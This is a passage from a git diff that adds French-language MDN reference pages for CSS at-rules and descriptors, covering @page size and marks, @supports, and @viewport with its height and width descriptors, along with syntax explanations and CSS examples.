+<p>Cette propriété CSS avait initialement été proposée pour la spécification CSS de niveau 2 mais a été abandonnée lors de la première révision.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.page.marks")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("@page/bleed", "bleed")}}</li>
+ <li>{{cssxref("@page/size", "size")}}</li>
+</ul>
diff --git a/files/fr/web/css/@page/size/index.html b/files/fr/web/css/@page/size/index.html
new file mode 100644
index 0000000000..5d21dafcd1
--- /dev/null
+++ b/files/fr/web/css/@page/size/index.html
@@ -0,0 +1,127 @@
+---
+title: size
+slug: Web/CSS/@page/size
+tags:
+  - CSS
+  - Descripteur
+  - Experimental
+  - Reference
+translation_of: Web/CSS/@page/size
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>Le descripteur <strong><code>size</code></strong>, associé à la règle @ {{cssxref("@page")}}, permet de définir les dimensions et l'orientation de la boîte utilisée pour représenter une page. La plupart du temps, cette taille correspondra à la totalité de la taille de la page imprimée.</p>
+
+<p>Les dimensions de cette boîte peuvent être définies de façon absolues ou relatives (dans ce cas, la page occupera l'espace disponible).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Des mots-clés qui peuvent être utilisées
+   pour remplir l'espace disponible         */
+size: auto;
+size: portrait;
+size: landscape;
+
+/* Des valeurs de longueur */
+/* Type &lt;length&gt;           */
+/* 1 valeur : hauteur = largeur */
+size: 6in;
+
+/* 2 valeurs : la largeur puis la hauteur */
+size: 4in 6in;
+
+/* Des mots-clés qui représentent des */
+/* dimensions absolues                */
+size: A4;
+size: B5;
+size: JIS-B4;
+size: letter;
+
+/* Une déclaration incluant la taille et l'orientation */
+size: A4 portrait;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>L'agent utilisateur décidera de la taille de page. En général, ce seront les dimensions de la page cible (celle sur laquelle imprimer/afficher) qui seront utilisées.</dd>
+ <dt><code>landscape</code></dt>
+ <dd>Le contenu de la page est affiché en paysage (le côté le plus long de la page sera le côté horizontal).</dd>
+ <dt><code>portrait</code></dt>
+ <dd>Le contenu de la page est affiché en portrait (le côté le plus long de la page sera le côté vertical).</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur de longueur (cf. {{cssxref("&lt;length&gt;")}}). La première valeur utilisée correspond à la largeur de la boîte de la page et la deuxième correspond à la hauteur. Si une seule valeur est fournie, celle-ci sera utilisée pour la largeur et pour la hauteur.</dd>
+ <dt><code>&lt;page-size&gt;</code></dt>
+ <dd>
+ <dl>
+  <dt><code>A5</code></dt>
+  <dd>Ce mot-clé correspond aux dimensions ISO standard : 148mm x 210mm.</dd>
+  <dt><code>A4</code></dt>
+  <dd>Ce mot-clé correspond aux dimensions ISO standard : 210mm x 297mm (c'est le format le plus utilisé pour les impressions occasionnelles sur les imprimantes personnelles).</dd>
+  <dt><code>A3</code></dt>
+  <dd>Ce mot-clé correspond aux dimensions ISO standard : 297mm x 420mm.</dd>
+  <dt><code>B5</code></dt>
+  <dd>Ce mot-clé correspond aux dimensions ISO standard : 176mm x 250mm.</dd>
+  <dt><code>B4</code></dt>
+  <dd>Ce mot-clé correspond aux dimensions ISO standard : 250mm x 353mm.</dd>
+  <dt><code>JIS-B5</code></dt>
+  <dd>Ce mot-clé correspond aux dimensions JIS standard : 182mm x 257mm.</dd>
+  <dt><code>JIS-B4</code></dt>
+  <dd>Ce mot-clé correspond aux dimensions JIS standard : 257mm x 364mm.</dd>
+  <dt><code>letter</code></dt>
+  <dd>Ce mot-clé correspond à la taille standard du papier à lettre aux États-Unis : 8.5in x 11in.</dd>
+  <dt><code>legal</code></dt>
+  <dd>Ce mot-clé correspond à la taille standard des documents légaux aux États-Unis : 8.5in par 14in.</dd>
+  <dt><code>ledger</code></dt>
+  <dd>Ce mot-clé correspond à la taille standard des pages d'un livre en grand format aux États-Unis. Cela correspond à : 11in x 17in.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@page {
+  size: 4cm 6cm landscape;
+}
+</pre>
+
+<pre class="brush: css">@media print {
+  @page {
+    size: 50mm 150mm;
+  }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media', '#size', 'size')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.page.size")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("@page/bleed", "bleed")}}</li>
+ <li>{{cssxref("@page/marks", "marks")}}</li>
+</ul>
diff --git a/files/fr/web/css/@supports/index.html b/files/fr/web/css/@supports/index.html
new file mode 100644
index 0000000000..6baf61e27c
--- /dev/null
+++ b/files/fr/web/css/@supports/index.html
@@ -0,0 +1,209 @@
+---
+title: '@supports'
+slug: Web/CSS/@supports
+tags:
+  - CSS
+  - Reference
+  - Règle @
+translation_of: Web/CSS/@supports
+---
+<div>{{CSSRef}}</div>
+
+<p>La règle <strong><code>@supports</code></strong> permet de définir des déclarations qui dépendent de la prise en charge du navigateur d'une ou plusieurs fonctionnalités CSS. Cette condition est définie par un ensemble de paires de propriété/valeur qui forment une combinaison de conjonctions, disjonctions, négations. Une telle condition est appelée « condition de prise en charge » (ou <em>supports condition</em>).</p>
+
+<pre class="brush: css no-line-numbers">@supports (display: grid) {
+  div {
+    display: grid;
+  }
+}</pre>
+
+<pre class="brush: css no-line-numbers">@supports not (display: grid) {
+  div {
+    float: right;
+  }
+}</pre>
+
+<p><code>@supports</code> permet ainsi au moteur de rendu de tester la présence d'une fonctionnalité (on parle de <em>feature query</em>).</p>
+
+<p>La règle @ <code>@supports</code> peut être utilisée au niveau le plus haut de la feuille de style et également à l'intérieur d'<a href="/fr/docs/Web/CSS/Règles_@#R.C3.A8gles_conditionnelles_de_groupe">un groupe de règle conditionnel</a>. Cette règle @ peut être manipulée via le modèle d'objets CSS et JavaScript, notamment via l'interface {{domxref("CSSSupportsRule")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une condition de prise en charge se compose d'une ou plusieurs déclarations combinées entre elles par des opérateurs logiques (<code>and</code>, <code>or</code>, <code>not</code>). La précédence des opérateurs peut être surchargée en utilisant des parenthèses autour des déclarations.</p>
+
+<h3 id="Syntaxe_déclarative">Syntaxe déclarative</h3>
+
+<p>La plus simple expression est une déclaration CSS, c'est-à-dire un nom de propriété CSS suivi par deux points (:) puis une valeur. Ainsi, l'expression suivante :</p>
+
+<pre class="brush:css">@supports ( transform-origin: 5% 5% ) { }</pre>
+
+<p>renvoie le booléen vrai si la propriété {{cssxref("transform-origin")}} du navigateur considère que la valeur <code>5% 5%</code> est valide.</p>
+
+<p>Une déclaration CSS est toujours encadrée par des parenthèses.</p>
+
+<h3 id="Syntaxe_fonctionnelle">Syntaxe fonctionnelle</h3>
+
+<p>La deuxième syntaxe permet d'utiliser une fonction. Cette syntaxe est prise en charge par les différents navigateurs mais les fonctions sont en cours de standardisation.</p>
+
+<h4 id="selector_Experimental_inline"><code>selector()</code> {{Experimental_inline}}</h4>
+
+<p>Dans l'exemple qui suit, on teste si le navigateur prend en charge la syntaxe du sélecteur passé en argument. Ici, le code renvoie VRAI si le navigateur prend en charge les <a href="/fr/docs/Web/CSS/Sélecteurs_enfant">sélecteurs enfants</a></p>
+
+<pre class="brush: css">@supports selector(A &gt; B) { }</pre>
+
+<h3 id="Lopérateur_not">L'opérateur <code>not</code></h3>
+
+<p>L'opérateur <code>not</code> peut être utilisée avant une expression afin de créer un expression dont le résultat logique est la négation du résultat de l'expression originale. Ainsi, l'expression suivante :</p>
+
+<pre class="brush:css">@supports not ( transform-origin: 10em 10em 10em ) { }</pre>
+
+<p>renvoie VRAI si la propriété {{cssxref("transform-origin")}} du navigateur ne considère pas la valeur <code>10em 10em 10em</code> comme valide.</p>
+
+<p>Comme pour les autres opérateurs, on peut appliquer l'opérateur <code>not</code> à une déclaration, quelle que soit sa complexité. Les exemples qui suivent sont donc des expressions valides :</p>
+
+<pre class="brush:css">@supports not ( not ( transform-origin: 2px ) ) { }
+@supports (display: grid) and ( not (display: inline-grid) ) { }</pre>
+
+<div class="note style-wrap">
+<p><strong>Note :</strong> Au niveau le plus haut, il n'est pas nécessaire d'encadrer l'opérateur <code>not</code> entre parenthèses. Si on souhaite le combiner avec d'autres opérateurs comme <code>and</code> ou <code>or</code>, il faudra utiliser des parenthèses.</p>
+</div>
+
+<h3 id="Lopérateur_and">L'opérateur <code>and</code></h3>
+
+<p>L'opérateur <code>and</code> peut être utilisé pour former une nouvelle expression à partir de deux expressions. L'expression résultante sera la conjonction des deux expressions originelles. Autrement dit, le résultat de cette nouvelle expression sera VRAI si et seulement si les deux expressions de départ sont vraies et FAUX sinon. Dans l'exemple suivant, l'expression complète ne sera vérifiée que si les deux expressions sont vérifiées :</p>
+
+<pre class="brush:css">@supports (display: table-cell) and (display: list-item) { }</pre>
+
+<p>On peut enchaîner plusieurs conjonctions sans avoir à ajouter de parenthèses (l'opérateur est commutatif).</p>
+
+<pre class="brush:css">@supports (display: table-cell) and (display: list-item) and (display:run-in) { }</pre>
+
+<p>sera équivalente à :</p>
+
+<pre class="brush:css">@supports (display: table-cell) and ((display: list-item) and (display:run-in)) { }</pre>
+
+<h3 id="Lopérateur_or">L'opérateur <code>or</code></h3>
+
+<p>L'opérateur <code>or</code> peut être utilisé pour former une nouvelle expression à partir de deux expressions. L'expression résultante sera la disjonction des deux expressions originelles. Autrement dit, le résultat de cette nouvelle expression sera VRAI si au moins une des deux expressions est vraie. Dans l'exemple qui suit, l'expression complète est vérifiée si au moins une des deux (ce peuvent être les deux) expressions est vérifiée :</p>
+
+<pre class="brush:css;">@supports ( transform-style: preserve ) or ( -moz-transform-style: preserve ) { }</pre>
+
+<p>On peut enchaîner plusieurs disjonctions sans qu'il soit nécessaire d'ajouter des parenthèses.</p>
+
+<pre class="brush:css">@supports ( transform-style: preserve ) or ( -moz-transform-style: preserve ) or
+          ( -o-transform-style: preserve ) or ( -webkit-transform-style: preserve  ) { }</pre>
+
+<p>sera ainsi équivalente à :</p>
+
+<pre class="brush:css">@supports ( transform-style: preserve-3d ) or (( -moz-transform-style: preserve-3d ) or
+          (( -o-transform-style: preserve-3d ) or ( -webkit-transform-style: preserve-3d  ))) { }</pre>
+
+<div class="note style-wrap">
+<p><strong>Note</strong> : Lorsqu'on utilise à la fois l'opérateur <code>and</code> et l'opérateur <code>or</code>, il devient nécessaire d'utiliser des parenthèses pour que l'ordre d'application des opérateurs soit défini. Si on n'utilise pas de parenthèses, la condition sera considérée comme invalide et l'ensemble de la règle @ sera ignorée.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Tester_la_prise_en_charge_dune_propriété_CSS_donnée">Tester la prise en charge d'une propriété CSS donnée</h3>
+
+<pre class="brush:css;">@supports (animation-name: test) {
+    … /* Du code CSS spécifique, appliqué quand les animations sont prises en charge sans préfixe */
+    @keyframes { /* @supports est une règle @ qui peut inclure d'autres règles @ */
+      …
+    }
+}
+</pre>
+
+<h3 id="Tester_la_prise_en_charge_dune_propriété_CSS_donnée_ou_dune_version_préfixée">Tester la prise en charge d'une propriété CSS donnée ou d'une version préfixée</h3>
+
+<pre class="brush:css;">@supports ( (perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or
+            (-ms-perspective: 10px) or (-o-perspective: 10px) ) {
+    … /* Du code CSS spécifique, appliqué lorsque les transformations 3D,
+         sont prises en charge, éventuellement avec un préfixe */
+}
+</pre>
+
+<h3 id="Tester_labsence_de_prise_en_charge_dune_propriété_CSS">Tester l'absence de prise en charge d'une propriété CSS</h3>
+
+<pre class="brush:css;">@supports not ((text-align-last:justify) or (-moz-text-align-last:justify) ){
+    … /* Du code CSS spécifique, appliqué pour simuler text-align-last:justify */
+}</pre>
+
+<h3 id="Tester_la_prise_en_charge_des_propriétés_personnalisées">Tester la prise en charge des propriétés personnalisées</h3>
+
+<pre class="brush:css;">@supports (--toto: green) {
+  body {
+    color: --nomVar;
+  }
+}</pre>
+
+<h3 id="Tester_la_prise_en_charge_dun_sélecteur">Tester la prise en charge d'un sélecteur</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<pre class="brush: css;">/* Cette règle ne sera pas appliquée si le navigateur */
+/* ne prend pas en charge :is() */
+:is(ul, ol) &gt; li {
+  … /* Le CSS à utiliser lorsque :is(…) est pris en charge */
+}
+
+@supports not selector(:is(a, b)) {
+  /* Que faire lorsque :is() n'est pas pris en charge */
+  ul &gt; li,
+  ol &gt; li {
+    …
+  }
+}
+
+@supports selector(:nth-child(1n of a, b)) {
+  /* Cette règle doit être placée dans un bloc @supports */
+  /* Sinon elle pourra être partiellement appliquée pour les */
+  /* navigateurs qui ne prennent pas en charge :is(…) */
+  :is(nth-child(1n of ul, ol) a,
+  details &gt; summary) {
+    … /* CSS appliqué quand le sélecteur :is(…) et quand la forme
+         `of` pour :nth-child sont pris en charge */
+  }
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Conditional", "#at-supports", "@supports")}}</td>
+   <td>{{Spec2("CSS4 Conditional")}}</td>
+   <td>Ajout de la fonction <code>selector()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Conditional", "#at-supports", "@supports")}}</td>
+   <td>{{Spec2("CSS3 Conditional")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.supports")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La classe CSSOM {{domxref("CSSSupportsRule")}}</li>
+ <li>La méthode {{domxref("CSS.supports")}} qui permet d'effectuer les mêmes vérifications via JavaScript.</li>
+</ul>
diff --git a/files/fr/web/css/@viewport/height/index.html b/files/fr/web/css/@viewport/height/index.html
new file mode 100644
index 0000000000..f836041357
--- /dev/null
+++ b/files/fr/web/css/@viewport/height/index.html
@@ -0,0 +1,76 @@
+---
+title: height
+slug: Web/CSS/@viewport/height
+tags:
+  - '@viewport'
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <code><strong>height</strong></code>, rattaché à la règle @ {{cssxref("@viewport")}} est un raccourci permettant de définir les deux descripteurs {{cssxref("@viewport/min-height", "min-height")}} et {{cssxref("@viewport/max-height", "max-height")}}.</p>
+
+<p>Si on fournit une seule valeur, c'est cette valeur qui sera utilisée pour la hauteur minimale et maximale de la zone d'affichage (<em>viewport</em>). Si on fournit deux valeurs, la première correspondra à la hauteur minimale de la zone d'affichage et la deuxième à la hauteur maximale.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Une valeur de longueur        */
+/* Type &lt;length&gt; ou &lt;percentage&gt; */
+height: auto;
+height: 320px;
+height: 15em;
+
+/* Deux valeurs de longueur */
+height: 320px 200px;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La <a href="/fr/docs/Web/CSS/Valeur_utilis%C3%A9e">valeur utilisée</a> sera calculée à partir des valeurs des autres descripteurs.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une longueur relative ou absolue qui doit être positive.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur exprimée en pourcentages qui est relative à la hauteur de la zone d'affichage (<em>viewport</em>) lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@viewport {
+  height: 500px;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#descdef-viewport-height', '"height" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.viewport.height")}}</p>
diff --git a/files/fr/web/css/@viewport/index.html b/files/fr/web/css/@viewport/index.html
new file mode 100644
index 0000000000..0269b84e53
--- /dev/null
+++ b/files/fr/web/css/@viewport/index.html
@@ -0,0 +1,120 @@
+---
+title: '@viewport'
+slug: Web/CSS/@viewport
+tags:
+  - CSS
+  - Experimental
+  - Reference
+  - Règle @
+translation_of: Web/CSS/@viewport
+---
+<div>{{SeeCompatTable}}{{CSSRef}}</div>
+
+<p>La règle @<strong> <code>@viewport</code></strong> permet de configurer la zone d'affichage (le <em>viewport</em> en anglais) à travers laquelle le document est affiché. Cette règle est principalement utilisée pour les appareils mobiles mais aussi pour les navigateurs de bureau (par exemple Microsoft Edge qui gère la division de l'écran).</p>
+
+<p>Les longueurs exprimées en pourcentages sont calculées de façon relative à la <strong>zone d'affichage initiale</strong> c'est-à-dire le <em>viewport</em> avant tout ajustement effectué par le navigateur ou par les styles de la page. Généralement, cela correspond à la taille de la fenêtre pour les navigateurs de bureau lorsqu'ils ne sont pas utilisés en mode plein écran.</p>
+
+<p>Pour les appareils mobiles (ou pour les appareils de bureau qui sont en plein écran), la zone d'affichage initiale correspond à la portion de l'écran disponible pour l'application. Cela peut correspondre à l'écran entier ou bien à l'écran auquel on enlève les zones contrôlées par le système d'exploitation (par exemple la barre de tâche) ou bien encore à la zone de l'écran qui n'est pas occupée par le système d'exploitation ou d'autres applications.</p>
+
+<pre class="brush: css no-line-numbers">@viewport {
+  width: device-width;
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Cette règle @ contient un ensemble de descripteurs CSS dans un bloc délimité par des accolades.</p>
+
+<p>Un facteur de zoom de <code>1.0</code> ou de <code>100%</code> signifie qu'il n'y a eu aucun zoom. Si la valeur est supérieure, cela signifie qu'on a zoomé pour agrandir le contenu. Inversement, si la valeur est inférieure à <code>1.0</code> ou à <code>100%</code>, cela signifie qu'on a dézoomé.</p>
+
+<h3 id="Descripteurs">Descripteurs</h3>
+
+<p>Les navigateurs sont supposés ignorer les descripteurs non reconnus.</p>
+
+<dl>
+ <dt>{{cssxref("@viewport/min-width","min-width")}}</dt>
+ <dd>Ce descripteur détermine la largeur minimale de la zone d'affichage (<em>viewport</em>) lorsque le document est affiché initialement.</dd>
+ <dt>{{cssxref("@viewport/max-width","max-width")}}</dt>
+ <dd>Ce descripteur détermine la largeur maximale de la zone d'affichage (<em>viewport</em>) lorsque le document est affiché initialement.</dd>
+ <dt>{{cssxref("@viewport/width","width")}}</dt>
+ <dd>Ce descripteur est un raccourci qui permet de définir <code>min-width</code> et <code>max-width</code>.</dd>
+ <dt>{{cssxref("@viewport/min-height","min-height")}}</dt>
+ <dd>Ce descripteur détermine la hauteur minimale de la zone d'affichage (<em>viewport</em>) lorsque le document est affiché initialement.</dd>
+ <dt>{{cssxref("@viewport/max-height","max-height")}}</dt>
+ <dd>Ce descripteur détermine la hauteur maximale de la zone d'affichage (<em>viewport</em>) lorsque le document est affiché initialement.</dd>
+ <dt>{{cssxref("@viewport/height","height")}}</dt>
+ <dd>Ce descripteur est un raccourci qui permet de définir <code>min-height</code> et <code>max-height</code>.</dd>
+ <dt>{{cssxref("@viewport/zoom","zoom")}}</dt>
+ <dd>Ce descripteur permet de définir le niveau de zoom initial.</dd>
+ <dt>{{cssxref("@viewport/min-zoom","min-zoom")}}</dt>
+ <dd>Ce descripteur permet de définir le niveau de zoom minimal.</dd>
+ <dt>{{cssxref("@viewport/max-zoom","max-zoom")}}</dt>
+ <dd>Ce descripteur permet de définir le niveau de zoom maximal.</dd>
+ <dt>{{cssxref("@viewport/user-zoom","user-zoom")}}</dt>
+ <dd>Ce descripteur indique si l'utilisateur peut, ou non, changer le niveau de zoom.</dd>
+ <dt>{{cssxref("@viewport/orientation","orientation")}}</dt>
+ <dd>Ce descripteur contrôle l'orientation du document.</dd>
+ <dt>{{cssxref("@viewport/ viewport-fit", "viewport-fit")}}</dt>
+ <dd>Ce descripteur contrôle l'affichage du document pour les affichages non-rectangulaires.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note : </strong>Un facteur de zoom de <code>1.0</code> ou <code>100%</code> correspond à une absence de zoom. Les valeurs supérieures traduiront une augmentation du niveau de zoom (agrandissement des images et du texte) et les valeurs inférieures correspondront à une réduction du niveau de zoom.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@viewport {
+  min-width: 640px;
+  max-width: 800px;
+}
+
+@viewport {
+  zoom: 0.75;
+  min-zoom: 0.5;
+  max-zoom: 0.9;
+}
+
+@viewport {
+  orientation: landscape;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Round Display", "#extending-viewport-rule", "@viewport")}}</td>
+   <td>{{Spec2("CSS Round Display")}}</td>
+   <td>Définition du descripteur {{cssxref("@viewport/viewport-fit", "viewport-fit")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#the-atviewport-rule', '@viewport')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.viewport")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("meta")}} et plus précisément <code>&lt;meta name="viewport"&gt;</code></li>
+ <li><a href="/fr/docs/Mozilla/Mobile/Balise_meta_viewport">Utiliser la balise <code>meta</code> afin de contrôler la disposition sur les navigateurs mobiles</a></li>
+</ul>
diff --git a/files/fr/web/css/@viewport/max-height/index.html b/files/fr/web/css/@viewport/max-height/index.html
new file mode 100644
index 0000000000..646a3e2e8d
--- /dev/null
+++ b/files/fr/web/css/@viewport/max-height/index.html
@@ -0,0 +1,76 @@
+---
+title: max-height
+slug: Web/CSS/@viewport/max-height
+tags:
+  - '@viewport'
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <code><strong>max-height</strong></code>, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir la hauteur maximale de la zone d'affichage (<em>viewport</em>) d'un document.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Avec un mot-clé */
+max-height: auto;
+
+/* Valeur de longueur */
+/* Type &lt;length&gt;      */
+max-height: 400px;
+max-height: 50em;
+max-height: 20cm;
+
+/* Valeur proportionnelle */
+/* Type &lt;percentage&gt;      */
+max-height: 75%;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd><a href="/fr/docs/Web/CSS/Valeur_utilisée">La valeur utilisée</a> est alors calculée selon les valeurs des autres descripteurs.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur absolue ou relative représentant une longueur. Cette valeur doit être positive.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur de pourcentage relative à la hauteur initiale de la zone d'affichage lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@viewport {
+  max-height: 600px;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#descdef-viewport-max-height', '"max-height" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.viewport.max-height")}}</p>
diff --git a/files/fr/web/css/@viewport/max-width/index.html b/files/fr/web/css/@viewport/max-width/index.html
new file mode 100644
index 0000000000..30e0ee9e78
--- /dev/null
+++ b/files/fr/web/css/@viewport/max-width/index.html
@@ -0,0 +1,75 @@
+---
+title: max-width
+slug: Web/CSS/@viewport/max-width
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <code><strong>max-width</strong></code>, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir la largeur maximale de la zone d'affichage (<em>viewport</em>) d'un document. Par défaut, la largeur maximale de la zone d'affichage correspond à celle du <em>viewport</em> initial.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Avec un mot-clé */
+max-width: auto;
+
+/* Valeur de longueur */
+/* Type &lt;length&gt;      */
+max-width: 400px;
+max-width: 50em;
+max-width: 20cm;
+
+/* Valeur proportionnelle */
+/* Type &lt;percentage&gt;      */
+max-width: 75%;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd><a href="/fr/docs/Web/CSS/Valeur_utilisée">La valeur utilisée</a> est alors calculée selon les valeurs des autres descripteurs.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur absolue ou relative représentant une longueur. Cette valeur doit être positive.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur de pourcentage relative à la largeur initiale de la zone d'affichage lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@viewport {
+  max-width: 600px;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
